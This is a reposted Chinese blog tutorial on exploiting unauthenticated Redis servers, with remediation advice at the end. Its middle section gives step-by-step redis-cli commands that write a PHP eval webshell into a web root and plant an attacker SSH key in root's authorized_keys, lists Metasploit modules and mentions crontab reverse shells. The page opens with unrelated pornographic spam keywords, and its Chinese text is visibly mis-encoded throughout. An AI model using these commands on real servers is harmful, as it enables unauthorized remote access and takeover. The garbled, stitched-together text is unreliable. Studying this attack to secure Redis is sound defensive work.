黄色网站入口国产美女,精品国产欧美另类一区,国产一区二区美女自慰,日日摸夜夜添无码国产

選擇你喜歡的標(biāo)簽
我們會(huì)為你匹配適合你的網(wǎng)址導(dǎo)航

    確認(rèn) 跳過(guò)

    跳過(guò)將刪除所有初始化信息

    Redis GetShell提權(quán)

    安全 2021-11-29 14:03

    聲明:該文章來(lái)自(千阪'BLOG)版權(quán)由原作者所有,K2OS渲染引擎提供網(wǎng)頁(yè)加速服務(wù)。

    環(huán)境準(zhǔn)備

    目標(biāo)機(jī)器:129.168.186.4

    Kali 開(kāi)啟 SSH

    配置 Redis

    wget http://download.redis.io/releases/redis-3.2.11.tar.gz 
    tar zxvf redis-3.2.11.tar.gz 
    cd redis-3.2.11
    cp redis.conf /etc/redis.conf
    make
    cd src
    cp redis-server /usr/bin/
    cp redis-cli /usr/bin/
    vim /etc/redis.conf
    
    
    去掉 ip 綁定,允許除本地外的主機(jī)遠(yuǎn)程登錄 redis 服務(wù) 前面加 #注釋掉
    關(guān)閉保護(hù)模式,允許遠(yuǎn)程連接 redis 服務(wù)將 yes 改為 no啟動(dòng)redis
    啟動(dòng)服務(wù)
    redis-server /etc/redis.conf
    
    

    常用命令

    連接 Redis 服務(wù)器

    redis-cli -h ipadd
    
    

    MSF 下利用模塊

    auxiliary/scanner/redis/file_upload 
    auxiliary/scanner/redis/redis_login
    auxiliary/scanner/redis/redis_server
    
    
    GetShell 原理:攻擊者在未授權(quán)訪問(wèn) Redis 的情況下,利用 Redis 自身的提供的 config 命令,可以進(jìn)行寫(xiě)文件操作,我們可以將 dir 設(shè)置為一個(gè)目錄 a,而 dbfilename 為文件名 b,再執(zhí)行 save 或 bgsave,就可以寫(xiě)入一個(gè)路徑為 a/b 的任意文件。

    計(jì)劃任務(wù)反彈 Shell

    • 在 Redis 以 root 權(quán)限運(yùn)行時(shí)可以寫(xiě) crontab 來(lái)執(zhí)行命令反彈 shell
    默認(rèn)編寫(xiě)的 crontab 文件會(huì)保存在 (/var/spool/cron/ 用戶名 例如: /var/spool/cron/root
    crontab -l 列出某個(gè)用戶 cron 服務(wù)的詳細(xì)內(nèi)容
    crontab -r 刪除每個(gè)用戶 cront 任務(wù) (謹(jǐn)慎:刪除所有的計(jì)劃任務(wù))
    crontab -e 使用編輯器編輯當(dāng)前的 crontab 文件

    Web 目錄寫(xiě) Shell

    1. 當(dāng) redis 權(quán)限不高且服務(wù)器開(kāi)著 web 服務(wù)
    2. redis 有 web 目錄寫(xiě)權(quán)限
    3. 可以嘗試往 web 路徑寫(xiě) webshell
    redis-cli -h ip
    
    ip:6379> config set dir /var/www/html/
    OK
    ip:6379> config set dbfilename shell.php
    OK
    ip:6379> set x "<?php @eval($_POST['shell']);?>"
    OK
    ip:6379> save
    OK
    
    

    寫(xiě) ssh-key 公鑰獲取權(quán)限

    1. Redis 服務(wù)使用 ROOT 賬號(hào)啟動(dòng)
    2. 服務(wù)器開(kāi)放了 SSH 服務(wù),而且允許使用密鑰登錄,即可遠(yuǎn)程寫(xiě)入一個(gè)公鑰,直接登錄遠(yuǎn)程服務(wù)器。
    ssh-keygen -t rsa
    
    # 將公鑰寫(xiě)入一個(gè)文件,內(nèi)容前后要加兩個(gè)換行
    (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
    # 將公鑰放入目標(biāo)服務(wù)器鍵`crackit`里面
    cat key.txt | redis-cli -h 172.16.186.4 -x set crackit
    
    ip:6379> config set dir /root/.ssh/
    OK
    ip:6379> config get dir
    1) "dir"
    2) "/root/.ssh"
    ip:6379> config set dbfilename authorized_keys
    OK
    ip.4:6379> save
    OK
    
    # 使用私鑰連接
    ? ssh -i id_rsa root@redis-ip
    
    

    修復(fù)建議

    1. 禁止 Redis 服務(wù)對(duì)公網(wǎng)開(kāi)放,可通過(guò)修改?redis.conf?配置文件中的?#bind 127.0.0.1?,去掉前面的?#?即可(Redis 本來(lái)就是作為內(nèi)存數(shù)據(jù)庫(kù),只要監(jiān)聽(tīng)在本機(jī)即可)
    2. **設(shè)置密碼訪問(wèn)認(rèn)證,可通過(guò)修改?redis.conf?配置文件中的?requirepass?設(shè)置復(fù)雜密碼 **
    3. 重啟 Redis 服務(wù)
    4. 對(duì)訪問(wèn)源 IP 進(jìn)行訪問(wèn)控制,可在防火墻限定指定源 IP 才可以連接 Redis 服務(wù)器
    5. 保證 authorized_keys 文件的安全為了保證安全,您應(yīng)該阻止其他用戶添加新的公鑰。
    6. 將 authorized_keys 的權(quán)限設(shè)置為對(duì)擁有者只讀,其他用戶沒(méi)有任何權(quán)限
    chmod 400 ~/.ssh/authorized_keys
    
    
    1. 為保證 authorized_keys 的權(quán)限不會(huì)被改掉,您還需要設(shè)置該文件的 immutable 位權(quán)限:
    chattr +i ~/.ssh/authorized_keys
    
    

    然而,用戶還可以重命名~/.ssh,然后新建新的~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設(shè)置~./ssh 的 immutable 位權(quán)限:

    chattr +i ~/.ssh
    
    

    以低權(quán)限運(yùn)行 Redis 服務(wù)(重啟 redis 才能生效)

    為 Redis 服務(wù)創(chuàng)建單獨(dú)的用戶和家目錄,并且配置禁止登陸


    關(guān)注我們

    [超站]友情鏈接:

    四季很好,只要有你,文娛排行榜:https://www.yaopaiming.com/
    關(guān)注數(shù)據(jù)與安全,洞悉企業(yè)級(jí)服務(wù)市場(chǎng):https://www.ijiandao.com/

    圖庫(kù)